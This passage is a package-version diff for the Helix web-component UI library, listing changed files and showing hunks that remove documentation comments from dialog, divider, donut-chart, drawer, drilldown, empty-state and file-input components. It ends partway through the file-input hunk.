@fusion.dev/helix 0.1.0 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/custom-elements.json +256 -256
- package/dist/accordion/item/accordion-item.css.js +0 -1
- package/dist/accordion/item/accordion-item.js +0 -29
- package/dist/accordion/root/accordion-root.css.js +0 -1
- package/dist/accordion/root/accordion-root.js +0 -20
- package/dist/announcement/root/announcement-root.css.js +0 -1
- package/dist/announcement/root/announcement-root.js +0 -16
- package/dist/app-header/root/app-header-root.css.js +0 -1
- package/dist/app-header/root/app-header-root.js +0 -45
- package/dist/aura/root/aura-axis.js +0 -58
- package/dist/aura/root/aura-root.css.js +0 -1
- package/dist/aura/root/aura-root.js +0 -520
- package/dist/aura/root/aura-shader.js +0 -35
- package/dist/avatar/group/avatar-group.css.js +0 -1
- package/dist/avatar/group/avatar-group.js +0 -24
- package/dist/avatar/root/avatar-root.css.js +0 -1
- package/dist/avatar/root/avatar-root.js +0 -23
- package/dist/badge/root/badge-root.css.js +0 -1
- package/dist/badge/root/badge-root.d.ts +2 -6
- package/dist/badge/root/badge-root.js +0 -18
- package/dist/bar-chart/root/bar-chart-root.css.js +0 -1
- package/dist/bar-chart/root/bar-chart-root.js +0 -50
- package/dist/blockquote/root/blockquote-root.css.js +0 -1
- package/dist/blockquote/root/blockquote-root.js +0 -17
- package/dist/breadcrumbs/breadcrumb/breadcrumb.css.js +0 -1
- package/dist/breadcrumbs/breadcrumb/breadcrumb.js +0 -28
- package/dist/breadcrumbs/root/breadcrumbs-root.css.js +0 -1
- package/dist/breadcrumbs/root/breadcrumbs-root.js +0 -19
- package/dist/button/root/button-root.css.js +0 -1
- package/dist/button/root/button-root.js +0 -38
- package/dist/button-group/root/button-group-root.css.js +0 -1
- package/dist/button-group/root/button-group-root.js +0 -24
- package/dist/callout/root/callout-root.css.js +0 -1
- package/dist/callout/root/callout-root.js +0 -26
- package/dist/card/root/card-root.css.js +0 -1
- package/dist/card/root/card-root.js +0 -45
- package/dist/carousel/root/carousel-root.css.js +0 -1
- package/dist/carousel/root/carousel-root.js +0 -24
- package/dist/chat/composer/chat-composer.css.js +0 -1
- package/dist/chat/composer/chat-composer.js +0 -26
- package/dist/chat/message/chat-message.css.js +0 -1
- package/dist/chat/message/chat-message.js +0 -29
- package/dist/chat/root/chat-root.css.js +0 -1
- package/dist/chat/root/chat-root.js +0 -38
- package/dist/checkbox/root/checkbox-root.css.js +0 -1
- package/dist/checkbox/root/checkbox-root.js +0 -26
- package/dist/checkbox-group/root/checkbox-group-root.css.js +0 -1
- package/dist/checkbox-group/root/checkbox-group-root.js +0 -15
- package/dist/code/root/code-root.css.js +0 -1
- package/dist/code/root/code-root.js +0 -21
- package/dist/code-block/root/code-block-root.css.js +0 -1
- package/dist/code-block/root/code-block-root.js +0 -19
- package/dist/color-input/root/color-input-root.css.js +0 -1
- package/dist/color-input/root/color-input-root.js +0 -42
- package/dist/color-picker/root/color-picker-root.css.js +0 -1
- package/dist/color-picker/root/color-picker-root.js +0 -42
- package/dist/combobox/root/combobox-root.css.js +0 -1
- package/dist/combobox/root/combobox-root.js +0 -28
- package/dist/command/root/command-root.css.js +0 -1
- package/dist/command/root/command-root.js +0 -21
- package/dist/copy-button/root/copy-button-root.css.js +0 -1
- package/dist/copy-button/root/copy-button-root.js +0 -14
- package/dist/data-table/root/data-table-root.css.js +0 -1
- package/dist/data-table/root/data-table-root.js +0 -39
- package/dist/date-input/root/date-input-root.css.js +0 -1
- package/dist/date-input/root/date-input-root.js +0 -38
- package/dist/date-picker/root/date-picker-root.css.js +0 -1
- package/dist/date-picker/root/date-picker-root.js +0 -28
- package/dist/dialog/root/dialog-root.css.js +0 -1
- package/dist/dialog/root/dialog-root.js +0 -31
- package/dist/divider/root/divider-root.css.js +0 -1
- package/dist/divider/root/divider-root.js +0 -24
- package/dist/donut-chart/root/donut-chart-root.css.js +0 -1
- package/dist/donut-chart/root/donut-chart-root.js +0 -49
- package/dist/drawer/root/drawer-root.css.js +0 -1
- package/dist/drawer/root/drawer-root.js +0 -38
- package/dist/drilldown/item/drilldown-item.css.js +0 -1
- package/dist/drilldown/item/drilldown-item.js +0 -15
- package/dist/drilldown/root/drilldown-root.css.js +0 -1
- package/dist/drilldown/root/drilldown-root.js +0 -23
- package/dist/element-events.generated.js +0 -5
- package/dist/empty/root/empty-root.css.js +0 -1
- package/dist/empty/root/empty-root.js +0 -16
- package/dist/file-input/root/file-input-root.css.js +0 -1
- package/dist/file-input/root/file-input-root.js +0 -30
- package/dist/flex/root/flex-root.css.js +0 -1
- package/dist/flex/root/flex-root.js +0 -32
- package/dist/format-date/root/format-date-root.css.js +0 -1
- package/dist/format-date/root/format-date-root.js +0 -17
- package/dist/grid/root/grid-root.css.js +0 -1
- package/dist/grid/root/grid-root.js +0 -69
- package/dist/heatmap/root/heatmap-root.css.js +0 -1
- package/dist/heatmap/root/heatmap-root.d.ts +9 -11
- package/dist/heatmap/root/heatmap-root.js +0 -73
- package/dist/icon/glyph.css.js +0 -1
- package/dist/icon/root/icon-root.css.js +0 -1
- package/dist/icon/root/icon-root.js +0 -19
- package/dist/icon-button/root/icon-button-root.css.js +0 -1
- package/dist/icon-button/root/icon-button-root.js +0 -35
- package/dist/image/root/image-root.css.js +0 -1
- package/dist/image/root/image-root.js +0 -28
- package/dist/index.js +0 -5
- package/dist/input/root/input-root.css.js +0 -1
- package/dist/input/root/input-root.js +0 -28
- package/dist/kbd/root/kbd-root.css.js +0 -1
- package/dist/kbd/root/kbd-root.js +0 -20
- package/dist/legend/root/legend-root.css.js +0 -1
- package/dist/legend/root/legend-root.js +0 -35
- package/dist/line-chart/root/line-chart-root.css.js +0 -1
- package/dist/line-chart/root/line-chart-root.js +0 -47
- package/dist/list/item/list-item.css.js +0 -1
- package/dist/list/item/list-item.js +0 -38
- package/dist/list/root/list-root.css.js +0 -1
- package/dist/list/root/list-root.js +0 -23
- package/dist/listbox/root/listbox-root.css.js +0 -1
- package/dist/listbox/root/listbox-root.js +0 -22
- package/dist/loader/root/loader-root.css.js +0 -1
- package/dist/loader/root/loader-root.js +0 -19
- package/dist/megamenu/root/megamenu-root.css.js +0 -1
- package/dist/megamenu/root/megamenu-root.js +0 -24
- package/dist/menu/item/menu-item.css.js +0 -1
- package/dist/menu/item/menu-item.js +0 -16
- package/dist/menu/root/menu-root.css.js +0 -1
- package/dist/menu/root/menu-root.js +0 -26
- package/dist/meter/root/meter-root.css.js +0 -1
- package/dist/meter/root/meter-root.js +0 -50
- package/dist/mixins/mixin-control-surface/mixin-control-surface.js +0 -3
- package/dist/navigation/root/navigation-root.css.js +0 -1
- package/dist/navigation/root/navigation-root.js +0 -18
- package/dist/notifications/notification/notification.css.js +0 -1
- package/dist/notifications/notification/notification.js +0 -53
- package/dist/notifications/root/notifications-root.css.js +0 -1
- package/dist/notifications/root/notifications-root.js +0 -31
- package/dist/number-input/root/number-input-root.css.js +0 -1
- package/dist/number-input/root/number-input-root.js +0 -31
- package/dist/option/group/option-group.css.js +0 -1
- package/dist/option/group/option-group.js +0 -13
- package/dist/option/root/option-root.css.js +0 -1
- package/dist/option/root/option-root.js +0 -20
- package/dist/outline/root/outline-root.css.js +0 -1
- package/dist/outline/root/outline-root.js +0 -21
- package/dist/pagination/root/pagination-root.css.js +0 -1
- package/dist/pagination/root/pagination-root.js +0 -49
- package/dist/pagination/size/pagination-size.css.js +0 -1
- package/dist/pagination/size/pagination-size.js +0 -25
- package/dist/pagination/summary/pagination-summary.css.js +0 -1
- package/dist/pagination/summary/pagination-summary.js +0 -13
- package/dist/pin-input/root/pin-input-root.css.js +0 -1
- package/dist/pin-input/root/pin-input-root.js +0 -27
- package/dist/popover/root/popover-root.css.js +0 -1
- package/dist/popover/root/popover-root.js +0 -30
- package/dist/progress/root/progress-root.css.js +0 -1
- package/dist/progress/root/progress-root.js +0 -25
- package/dist/qr-code/root/qr-code-root.css.js +0 -1
- package/dist/qr-code/root/qr-code-root.js +0 -27
- package/dist/quote/root/quote-root.css.js +0 -1
- package/dist/quote/root/quote-root.js +0 -15
- package/dist/radio/group/radio-group.css.js +0 -1
- package/dist/radio/group/radio-group.js +0 -16
- package/dist/radio/root/radio-root.css.js +0 -1
- package/dist/radio/root/radio-root.js +0 -46
- package/dist/rating/root/rating-root.css.js +0 -1
- package/dist/rating/root/rating-root.js +0 -22
- package/dist/sandbox/index.js +0 -14
- package/dist/sandbox/preview/sandbox-preview.css.js +0 -1
- package/dist/sandbox/preview/sandbox-preview.js +0 -182
- package/dist/sandbox/root/sandbox-root.css.js +0 -1
- package/dist/sandbox/root/sandbox-root.js +1 -295
- package/dist/sandbox/source/sandbox-source.css.js +0 -1
- package/dist/sandbox/source/sandbox-source.js +0 -77
- package/dist/sandbox/status-bar/sandbox-status-bar.css.js +0 -1
- package/dist/sandbox/status-bar/sandbox-status-bar.js +0 -38
- package/dist/sandbox/terminal/sandbox-terminal.css.js +0 -1
- package/dist/sandbox/terminal/sandbox-terminal.js +0 -54
- package/dist/sandbox/toolbar/sandbox-toolbar.css.js +0 -1
- package/dist/sandbox/toolbar/sandbox-toolbar.js +0 -29
- package/dist/scroll-area/root/scroll-area-root.css.js +0 -1
- package/dist/scroll-area/root/scroll-area-root.js +0 -24
- package/dist/select/root/select-root.css.js +0 -1
- package/dist/select/root/select-root.js +0 -33
- package/dist/shared/chart/series.css.js +0 -1
- package/dist/shared/chart/terminus.css.js +0 -1
- package/dist/shared/field/field-inline.css.js +0 -1
- package/dist/shared/field/field-stacked.css.js +0 -1
- package/dist/shared/field/field.css.js +0 -1
- package/dist/skeleton/root/skeleton-root.css.js +0 -1
- package/dist/skeleton/root/skeleton-root.js +0 -18
- package/dist/slider/root/slider-root.css.js +0 -1
- package/dist/slider/root/slider-root.js +0 -32
- package/dist/sparkline/root/sparkline-root.css.js +0 -1
- package/dist/sparkline/root/sparkline-root.js +0 -40
- package/dist/speed-dial/item/speed-dial-item.css.js +0 -1
- package/dist/speed-dial/item/speed-dial-item.js +0 -16
- package/dist/speed-dial/root/speed-dial-root.css.js +0 -1
- package/dist/speed-dial/root/speed-dial-root.js +0 -16
- package/dist/splitter/root/splitter-root.css.js +0 -1
- package/dist/splitter/root/splitter-root.js +0 -50
- package/dist/stat/group/stat-group.css.js +0 -1
- package/dist/stat/group/stat-group.js +0 -19
- package/dist/stat/root/stat-root.css.js +0 -1
- package/dist/stat/root/stat-root.js +0 -17
- package/dist/steps/root/steps-root.css.js +0 -1
- package/dist/steps/root/steps-root.js +0 -26
- package/dist/steps/step/step.css.js +0 -1
- package/dist/steps/step/step.js +0 -12
- package/dist/switch/root/switch-root.css.js +0 -1
- package/dist/switch/root/switch-root.js +0 -32
- package/dist/table/cell/table-cell.css.js +0 -1
- package/dist/table/cell/table-cell.js +0 -14
- package/dist/table/column/table-column.css.js +0 -1
- package/dist/table/column/table-column.js +0 -13
- package/dist/table/root/table-root.css.js +0 -1
- package/dist/table/root/table-root.js +0 -19
- package/dist/table/row/table-row.css.js +0 -1
- package/dist/table/row/table-row.js +0 -14
- package/dist/tabs/panel/tab-panel.css.js +0 -1
- package/dist/tabs/panel/tab-panel.js +0 -16
- package/dist/tabs/root/tabs-root.css.js +0 -1
- package/dist/tabs/root/tabs-root.js +0 -19
- package/dist/tabs/tab/tab.css.js +0 -1
- package/dist/tabs/tab/tab.js +0 -16
- package/dist/tag/root/tag-root.css.js +0 -1
- package/dist/tag/root/tag-root.js +0 -25
- package/dist/text/root/text-root.css.js +0 -1
- package/dist/text/root/text-root.js +0 -48
- package/dist/textarea/root/textarea-root.css.js +0 -1
- package/dist/textarea/root/textarea-root.js +0 -17
- package/dist/time-input/root/time-input-root.css.js +0 -1
- package/dist/time-input/root/time-input-root.js +0 -31
- package/dist/time-picker/root/time-picker-root.css.js +0 -1
- package/dist/time-picker/root/time-picker-root.js +0 -29
- package/dist/timeline/item/timeline-item.css.js +0 -1
- package/dist/timeline/item/timeline-item.js +0 -17
- package/dist/timeline/root/timeline-root.css.js +0 -1
- package/dist/timeline/root/timeline-root.js +0 -15
- package/dist/toast/item/toast-item.css.js +0 -1
- package/dist/toast/item/toast-item.js +0 -21
- package/dist/toast/root/toast-root.css.js +0 -1
- package/dist/toast/root/toast-root.js +0 -27
- package/dist/toggle/group/toggle-group.css.js +0 -1
- package/dist/toggle/group/toggle-group.js +0 -25
- package/dist/toggle/root/toggle-root.css.js +0 -1
- package/dist/toggle/root/toggle-root.js +0 -18
- package/dist/toolbar/root/toolbar-root.css.js +0 -1
- package/dist/toolbar/root/toolbar-root.js +0 -19
- package/dist/tooltip/root/tooltip-root.css.js +0 -1
- package/dist/tooltip/root/tooltip-root.js +0 -22
- package/dist/tour/root/tour-root.css.js +0 -1
- package/dist/tour/root/tour-root.js +0 -14
- package/dist/tour/stop/tour-stop.css.js +0 -1
- package/dist/tour/stop/tour-stop.js +0 -22
- package/dist/tree/item/tree-item.css.js +0 -1
- package/dist/tree/item/tree-item.js +0 -34
- package/dist/tree/root/tree-root.css.js +0 -1
- package/dist/tree/root/tree-root.js +0 -27
- package/dist/trend/root/trend-root.css.js +0 -1
- package/dist/trend/root/trend-root.js +0 -34
- package/dist/video/root/video-root.css.js +0 -1
- package/dist/video/root/video-root.js +0 -37
- package/dist/video-playlist/item/video-playlist-item.css.js +0 -1
- package/dist/video-playlist/item/video-playlist-item.js +0 -15
- package/dist/video-playlist/menu/video-playlist-menu.css.js +0 -1
- package/dist/video-playlist/menu/video-playlist-menu.js +0 -36
- package/dist/video-playlist/root/video-playlist-root.css.js +0 -1
- package/dist/video-playlist/root/video-playlist-root.js +0 -16
- package/dist/virtual-list/root/virtual-list-root.css.js +0 -1
- package/dist/virtual-list/root/virtual-list-root.js +0 -21
- package/jsx.d.ts +1538 -2818
- package/package.json +7 -7
- package/vue.d.ts +3 -7
|
@@ -8,37 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
|
|
|
8
8
|
import { HelixHeadlessDialog } from '@fusion.dev/helix-headless/dialog';
|
|
9
9
|
import { property } from 'lit/decorators.js';
|
|
10
10
|
import { styles } from './dialog-root.css.js';
|
|
11
|
-
/**
|
|
12
|
-
* @summary A modal window, on the platform's own dialog.
|
|
13
|
-
*
|
|
14
|
-
* @description
|
|
15
|
-
* The panel is `surface-overlay` with a shadow, because that is what it is: a
|
|
16
|
-
* thing over the page rather than on it. The scrim is drawn on `::backdrop`,
|
|
17
|
-
* which is the platform's own element for it and sits in the top layer with the
|
|
18
|
-
* dialog rather than being a div somebody positioned.
|
|
19
|
-
*
|
|
20
|
-
* @since 0.1.0
|
|
21
|
-
* @status stable
|
|
22
|
-
* @category overlays
|
|
23
|
-
* @aliases Modal, Lightbox, Sheet
|
|
24
|
-
* @documentation https://helix.fusion.dev/components/dialog
|
|
25
|
-
*
|
|
26
|
-
* @cssproperty --dialog-border-color - Color of the panel's edge.
|
|
27
|
-
* @cssproperty --dialog-border-width - Width of the panel's edge. Follows
|
|
28
|
-
* `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
|
|
29
|
-
* theme says otherwise.
|
|
30
|
-
* @cssproperty --dialog-icon-size - How big the mark above the title is.
|
|
31
|
-
* @cssproperty --dialog-inline-size - Width of the panel.
|
|
32
|
-
* @cssproperty --dialog-padding - Padding inside the panel.
|
|
33
|
-
* @cssproperty --dialog-rise - How far the panel rises as it opens. Follows
|
|
34
|
-
* `--helix-space-lg`.
|
|
35
|
-
* @cssproperty --dialog-scrim - The wash over the page behind the dialog. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
|
|
36
|
-
* @cssproperty --dialog-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
|
|
37
|
-
* floating surface sits over content nobody can predict, so it keeps a lift by default.
|
|
38
|
-
*
|
|
39
|
-
* @property align - Whether the panel's contents run from the start or center on it.
|
|
40
|
-
* @property size - How wide the panel is allowed to be.
|
|
41
|
-
*/
|
|
42
11
|
let HelixDialog = class HelixDialog extends HelixHeadlessDialog {
|
|
43
12
|
static { this.styles = styles; }
|
|
44
13
|
};
|
|
@@ -7,30 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessDivider } from '@fusion.dev/helix-headless/divider';
|
|
9
9
|
import { styles } from './divider-root.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary Separates content into groups with a rule.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* A one-pixel rule in the border color, running the full inline size by
|
|
15
|
-
* default. A vertical divider stretches to its flex parent instead of setting
|
|
16
|
-
* its own height, so it matches whatever it sits beside without being told how
|
|
17
|
-
* tall that is.
|
|
18
|
-
*
|
|
19
|
-
* @since 0.1.0
|
|
20
|
-
* @status stable
|
|
21
|
-
* @category layout
|
|
22
|
-
* @aliases Separator, Rule
|
|
23
|
-
* @documentation https://helix.fusion.dev/components/divider
|
|
24
|
-
*
|
|
25
|
-
* @csspart line - The rule itself.
|
|
26
|
-
*
|
|
27
|
-
* @cssproperty --divider-color - Color of the rule.
|
|
28
|
-
* @cssproperty --divider-length - How long a vertical rule is. Horizontal takes its width.
|
|
29
|
-
* @cssproperty --divider-padding - Space taken off both ends of it.
|
|
30
|
-
* @cssproperty --divider-padding-end - Off the far end only.
|
|
31
|
-
* @cssproperty --divider-padding-start - Off the near end only.
|
|
32
|
-
* @cssproperty --divider-thickness - How heavy the rule is.
|
|
33
|
-
*/
|
|
34
10
|
let HelixDivider = class HelixDivider extends HelixHeadlessDivider {
|
|
35
11
|
static { this.styles = styles; }
|
|
36
12
|
};
|
|
@@ -10,56 +10,7 @@ import { property } from 'lit/decorators.js';
|
|
|
10
10
|
import { styles as seriesStyles } from '../../shared/chart/series.css.js';
|
|
11
11
|
import { styles } from './donut-chart-root.css.js';
|
|
12
12
|
import '../../tooltip/index.js';
|
|
13
|
-
/**
|
|
14
|
-
* @summary Parts of a whole as a ring, read from a table.
|
|
15
|
-
*
|
|
16
|
-
* @description
|
|
17
|
-
* The slices take the series palette in order, so a legend beside it maps the
|
|
18
|
-
* same twenty-four.
|
|
19
|
-
*
|
|
20
|
-
* The ring starts at twelve o'clock, which is a rotation applied here rather
|
|
21
|
-
* than arithmetic done below: where a reader expects the first slice to begin
|
|
22
|
-
* is a fact about the picture, not about the numbers.
|
|
23
|
-
*
|
|
24
|
-
* A track is drawn under the slices, so a ring whose values do not fill it
|
|
25
|
-
* still reads as a ring with a gap rather than as a broken arc.
|
|
26
|
-
*
|
|
27
|
-
* **How thick the ring is drawn is `hole`, not a CSS hook.** The stroke's width
|
|
28
|
-
* and the ring's radius have to agree: the outer edge is `r + width / 2`, so
|
|
29
|
-
* setting one in CSS and deriving the other in markup gives a drawing that is
|
|
30
|
-
* wrong in both. Measured with such a hook in place, every ring came out twelve
|
|
31
|
-
* units thick whatever its `hole`, so a pie was a small ring with a hole in it
|
|
32
|
-
* and `large` was drawn larger than the default.
|
|
33
|
-
*
|
|
34
|
-
* @since 0.1.0
|
|
35
|
-
* @status experimental
|
|
36
|
-
* @category charts
|
|
37
|
-
* @groups charts
|
|
38
|
-
* @aliases Pie Chart, Ring Chart, Share Chart
|
|
39
|
-
* @documentation https://helix.fusion.dev/components/donut-chart
|
|
40
|
-
*
|
|
41
|
-
* @cssproperty --donut-chart-edge-stroke - Thickness of the slice boundary under `outlined`.
|
|
42
|
-
* @cssproperty --donut-chart-size - Width and height of the ring.
|
|
43
|
-
* @cssproperty --donut-chart-track-color - Color of the ring under the slices.
|
|
44
|
-
*/
|
|
45
13
|
let HelixDonutChart = class HelixDonutChart extends HelixHeadlessDonutChart {
|
|
46
|
-
/**
|
|
47
|
-
* **The styled tier, so the tooltip this renders is the styled one.**
|
|
48
|
-
*
|
|
49
|
-
* `tag()` builds a child's tag name from this prefix, and the base declares
|
|
50
|
-
* `helix-headless-`. Every other styled component that renders a child
|
|
51
|
-
* overrides it; the three charts that draw a tooltip did not, so a
|
|
52
|
-
* `helix-bar-chart` on a page put a `helix-headless-tooltip` in its shadow
|
|
53
|
-
* root: the behavior with none of the surface. What showed was the browser's
|
|
54
|
-
* own popover defaults, a white 1.5px border, square corners, `0.25em` of
|
|
55
|
-
* padding and the page's font size, which is why the reading bubble looked
|
|
56
|
-
* like no other tooltip on the site.
|
|
57
|
-
*
|
|
58
|
-
* Measured before the fix: the chart's bubble computed
|
|
59
|
-
* `border: 1.5px solid rgb(255, 255, 255)`, `border-radius: 0px`,
|
|
60
|
-
* `padding: 3.5px`, `font-size: 14px`. The masthead's, a `helix-tooltip`,
|
|
61
|
-
* had the component's own `none`, `radii-sm`, `2xs xs` and `text-xs`.
|
|
62
|
-
*/
|
|
63
14
|
static { this.tier = 'helix-'; }
|
|
64
15
|
static { this.styles = [seriesStyles, styles]; }
|
|
65
16
|
};
|
|
@@ -8,44 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
|
|
|
8
8
|
import { HelixHeadlessDrawer } from '@fusion.dev/helix-headless/drawer';
|
|
9
9
|
import { property } from 'lit/decorators.js';
|
|
10
10
|
import { styles } from './drawer-root.css.js';
|
|
11
|
-
/**
|
|
12
|
-
* @summary A panel that slides in from an edge.
|
|
13
|
-
*
|
|
14
|
-
* @description
|
|
15
|
-
* The panel translates and the scrim fades, both on transform and opacity only,
|
|
16
|
-
* which is the one place motion is allowed to carry the work: the surface at
|
|
17
|
-
* rest is flat and the movement is what says something happened.
|
|
18
|
-
*
|
|
19
|
-
* @since 0.1.0
|
|
20
|
-
* @status experimental
|
|
21
|
-
* @category overlays
|
|
22
|
-
* @aliases Sheet, Sidebar, Panel, Off-canvas
|
|
23
|
-
* @documentation https://helix.fusion.dev/components/drawer
|
|
24
|
-
*
|
|
25
|
-
* @slot - The drawer's content.
|
|
26
|
-
* @slot header - Content pinned above the scrolling area.
|
|
27
|
-
*
|
|
28
|
-
* @event {HelixBeforeOpenEvent} helix-before-open - Fired before the drawer opens or closes. Cancelable: refusing it takes the decision and nothing moves.
|
|
29
|
-
*
|
|
30
|
-
* @csspart content - The scrolling content region.
|
|
31
|
-
* @csspart header - The header region.
|
|
32
|
-
* @csspart panel - The sliding panel.
|
|
33
|
-
*
|
|
34
|
-
* @cssproperty --drawer-backdrop - Filter applied behind a `material="glass"` drawer.
|
|
35
|
-
* Follows the theme's material policy; set it to override the strength on one drawer.
|
|
36
|
-
* @cssproperty --drawer-background-color - Surface behind the panel.
|
|
37
|
-
* @cssproperty --drawer-border-color - Color of the panel's edge.
|
|
38
|
-
* @cssproperty --drawer-border-width - Width of the panel's edge. Follows
|
|
39
|
-
* `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
|
|
40
|
-
* theme says otherwise.
|
|
41
|
-
* @cssproperty --drawer-padding - Padding inside the panel.
|
|
42
|
-
* @cssproperty --drawer-padding-block-start - Padding above the content, which clears the close control.
|
|
43
|
-
* @cssproperty --drawer-radius - Corner radius on the edges that face the page.
|
|
44
|
-
* @cssproperty --drawer-scrim - The wash over the page behind the drawer. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
|
|
45
|
-
* @cssproperty --drawer-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
|
|
46
|
-
* floating surface sits over content nobody can predict, so it keeps a lift by default.
|
|
47
|
-
* @cssproperty --drawer-size - Width or height of the panel.
|
|
48
|
-
*/
|
|
49
11
|
let HelixDrawer = class HelixDrawer extends HelixHeadlessDrawer {
|
|
50
12
|
static { this.styles = styles; }
|
|
51
13
|
};
|
|
@@ -7,21 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessDrilldownItem } from '@fusion.dev/helix-headless/drilldown';
|
|
9
9
|
import { styles } from './drilldown-item.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary One row of a drill-down, which may hold a page of its own.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* A row is a full-width band rather than an inset pill, for the reason the
|
|
15
|
-
* select's options are: it reaches both edges of the panel, so a highlight
|
|
16
|
-
* lines up with the edge the eye is already following down the list.
|
|
17
|
-
*
|
|
18
|
-
* @since 0.1.0
|
|
19
|
-
* @status experimental
|
|
20
|
-
* @aliases Panel item, Drill row
|
|
21
|
-
* @documentation https://helix.fusion.dev/components/drilldown
|
|
22
|
-
*
|
|
23
|
-
* @cssproperty --drilldown-item-hover-color - Fill when a row is under the pointer.
|
|
24
|
-
*/
|
|
25
10
|
let HelixDrilldownItem = class HelixDrilldownItem extends HelixHeadlessDrilldownItem {
|
|
26
11
|
static { this.styles = styles; }
|
|
27
12
|
};
|
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
// Generated from src/drilldown/root/drilldown-root.css by `turbo run styles`. Do not edit.
|
|
2
1
|
import { createSheet } from '@fusion.dev/helix-core';
|
|
3
2
|
export const styles = createSheet(`:host {
|
|
4
3
|
background-color: var(--drilldown-background-color, var(--helix-color-surface));
|
|
@@ -7,29 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessDrilldown } from '@fusion.dev/helix-headless/drilldown';
|
|
9
9
|
import { styles } from './drilldown-root.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary A stack of pages, one showing at a time, with a way back.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* **The pages slide, and the direction is the point.** Both moves replace one
|
|
15
|
-
* page with another, so with no motion a reader cannot tell whether they went
|
|
16
|
-
* deeper or came back: the panel simply holds different words. Sliding in the
|
|
17
|
-
* direction of travel says which happened, and it is most of the reason this is
|
|
18
|
-
* a component rather than a menu with its trigger removed.
|
|
19
|
-
*
|
|
20
|
-
* An animation rather than a transition, because there is nothing to transition
|
|
21
|
-
* from: the page arriving was not in the DOM a frame ago. Under
|
|
22
|
-
* `prefers-reduced-motion` it becomes the instant swap `Menu` does.
|
|
23
|
-
*
|
|
24
|
-
* @since 0.1.0
|
|
25
|
-
* @status experimental
|
|
26
|
-
* @category navigation
|
|
27
|
-
* @aliases Panel, Nested list, Drill-in
|
|
28
|
-
* @documentation https://helix.fusion.dev/components/drilldown
|
|
29
|
-
*
|
|
30
|
-
* @cssproperty --drilldown-background-color - Fill behind the pages.
|
|
31
|
-
* @cssproperty --drilldown-inline-size - Width of the region.
|
|
32
|
-
*/
|
|
33
10
|
let HelixDrilldown = class HelixDrilldown extends HelixHeadlessDrilldown {
|
|
34
11
|
static { this.styles = styles; }
|
|
35
12
|
};
|
|
@@ -1,8 +1,3 @@
|
|
|
1
|
-
/* Generated by `bun run gen:element-events` from this package's manifest. Do not edit.
|
|
2
|
-
*
|
|
3
|
-
* Which events each tag dispatches, registered so the React prop audit can tell
|
|
4
|
-
* a handler on the wrong element from one on the right one. See
|
|
5
|
-
* `helix/core/src/events/element-events.ts`. */
|
|
6
1
|
import { registerElementEvents } from '@fusion.dev/helix-core';
|
|
7
2
|
registerElementEvents({
|
|
8
3
|
'helix-accordion-item': ['helix-before-close', 'helix-before-open', 'toggle'],
|
|
@@ -7,22 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessEmpty } from '@fusion.dev/helix-headless/empty';
|
|
9
9
|
import { styles } from './empty-root.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary Says that a region has nothing in it, and what to do about it.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* Centered and given room, because an empty view is the only thing on screen
|
|
15
|
-
* and crowding it against the top edge makes the region look broken rather than
|
|
16
|
-
* empty.
|
|
17
|
-
*
|
|
18
|
-
* @since 0.1.0
|
|
19
|
-
* @status stable
|
|
20
|
-
* @category feedback
|
|
21
|
-
* @aliases Placeholder, NoResults, Blank
|
|
22
|
-
* @documentation https://helix.fusion.dev/components/empty
|
|
23
|
-
*
|
|
24
|
-
* @cssproperty --empty-padding - Space around the whole block.
|
|
25
|
-
*/
|
|
26
10
|
let HelixEmpty = class HelixEmpty extends HelixHeadlessEmpty {
|
|
27
11
|
static { this.styles = styles; }
|
|
28
12
|
};
|
|
@@ -6,42 +6,12 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
6
6
|
};
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessFileInput } from '@fusion.dev/helix-headless/file-input';
|
|
9
|
-
/* Side-effect import, because the tier below renders `<helix-icon>` for each
|
|
10
|
-
file's remove control and a custom element registers on import. Inherited from
|
|
11
|
-
the base along with the template, which is why it is restated here. */
|
|
12
9
|
import '../../icon/index.js';
|
|
13
10
|
import '../../tag/index.js';
|
|
14
11
|
import { styles as glyphStyles } from '../../icon/glyph.css.js';
|
|
15
12
|
import { styles as fieldStyles } from '../../shared/field/field.css.js';
|
|
16
13
|
import { styles as fieldStackedStyles } from '../../shared/field/field-stacked.css.js';
|
|
17
14
|
import { styles } from './file-input-root.css.js';
|
|
18
|
-
/**
|
|
19
|
-
* @summary A control for choosing files, by pointer or by dropping them on it.
|
|
20
|
-
*
|
|
21
|
-
* @description
|
|
22
|
-
* The field is a box rather than a line, because nothing is typed into it: its
|
|
23
|
-
* height is not a line of text, and what a reader aims at is the whole area. The
|
|
24
|
-
* border is dashed for the same reason a drop target usually is, which is the
|
|
25
|
-
* only affordance one has before anything is being dragged.
|
|
26
|
